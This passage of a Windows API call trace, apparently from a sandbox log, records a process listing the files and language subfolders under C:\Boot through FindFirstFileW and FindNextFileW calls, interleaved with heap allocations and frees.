dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0088.752] GetProcessHeap () returned 0xc00000 [0088.752] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.754] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x10b, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x10b, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.756] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.756] GetProcessHeap () returned 0xc00000 [0088.756] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.756] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0088.756] GetProcessHeap () returned 0xc00000 [0088.756] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.761] GetProcessHeap () returned 0xc00000 [0088.761] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.761] GetProcessHeap () returned 0xc00000 [0088.761] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.763] GetProcessHeap () returned 0xc00000 [0088.763] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.763] GetProcessHeap () returned 0xc00000 [0088.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.763] GetProcessHeap () returned 0xc00000 [0088.763] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.763] GetProcessHeap () returned 0xc00000 [0088.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.765] GetProcessHeap () returned 0xc00000 [0088.765] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.765] GetProcessHeap () returned 0xc00000 [0088.765] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.767] GetProcessHeap () returned 0xc00000 [0088.767] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.767] GetProcessHeap () returned 0xc00000 [0088.767] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.767] GetProcessHeap () returned 0xc00000 [0088.767] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.767] GetProcessHeap () returned 0xc00000 [0088.767] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0088.768] GetProcessHeap () returned 0xc00000 [0088.769] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.769] GetProcessHeap () returned 0xc00000 [0088.769] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.770] GetProcessHeap () returned 0xc00000 [0088.770] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.770] GetProcessHeap () returned 0xc00000 [0088.770] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.771] GetProcessHeap () returned 0xc00000 [0088.771] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.771] GetProcessHeap () returned 0xc00000 [0088.771] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.775] GetProcessHeap () returned 0xc00000 [0088.775] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.775] GetProcessHeap () returned 0xc00000 [0088.775] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.789] GetProcessHeap () returned 0xc00000 [0088.789] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.789] GetProcessHeap () returned 0xc00000 [0088.789] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.792] GetProcessHeap () returned 0xc00000 [0088.792] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.792] GetProcessHeap () returned 0xc00000 [0088.792] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.792] GetProcessHeap () returned 0xc00000 [0088.792] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.793] GetProcessHeap () returned 0xc00000 [0088.793] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.795] GetProcessHeap () returned 0xc00000 [0088.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.795] GetProcessHeap () returned 0xc00000 [0088.795] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.795] GetProcessHeap () returned 0xc00000 [0088.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.795] GetProcessHeap () returned 0xc00000 [0088.795] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.797] GetProcessHeap () returned 0xc00000 [0088.797] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.797] GetProcessHeap () returned 0xc00000 [0088.797] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.799] GetProcessHeap () returned 0xc00000 [0088.799] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.799] GetProcessHeap () returned 0xc00000 [0088.799] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.800] GetProcessHeap () returned 0xc00000 [0088.800] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.801] GetProcessHeap () returned 0xc00000 [0088.801] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0088.801] GetProcessHeap () returned 0xc00000 [0088.801] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.801] GetProcessHeap () returned 0xc00000 [0088.801] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.803] GetProcessHeap () returned 0xc00000 [0088.803] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.803] GetProcessHeap () returned 0xc00000 [0088.803] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.805] GetProcessHeap () returned 0xc00000 [0088.805] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.805] GetProcessHeap () returned 0xc00000 [0088.805] RtlAllocateHeap 